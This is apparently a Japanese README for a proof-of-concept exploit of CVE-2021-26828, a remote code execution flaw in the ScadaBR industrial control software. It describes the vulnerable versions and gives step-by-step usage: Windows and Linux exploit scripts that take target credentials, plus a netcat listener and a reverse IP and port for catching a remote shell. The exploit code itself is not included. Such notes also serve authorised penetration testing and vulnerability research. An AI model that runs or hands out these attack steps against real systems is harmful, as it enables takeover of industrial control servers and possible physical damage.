POC CVE-2021-26828_ScadaBR_RemoteCodeExecution

• Linux 上の ScadaBR 0.9.1、および Windows 上の 1.0 から 1.12.4CE では、リモートの認証済みユーザーが 'view_edit.shtm' を介して任意の JSP ファイルをアップロードおよび実行でき、リモートコード実行が可能になります。

エクスプロイトの使用方法

コマンド:

• Windows: $ sudo python WinScada_RCE.py <Remote_Host> <Remote_Port> <User> <Pass>

• Linux: まず、エクスプロイト実行前にローカルマシンで任意のポートを開放してください:

$ sudo nc -vnlp 4444

$ sudo python LinScada_RCE.py <Remote_Host> <Remote_Port> <User> <Pass> <Reverse_IP> <Reverse_Port>

• 参照:

  https://www.exploit-db.com/exploits/49734

  https://www.exploit-db.com/exploits/49735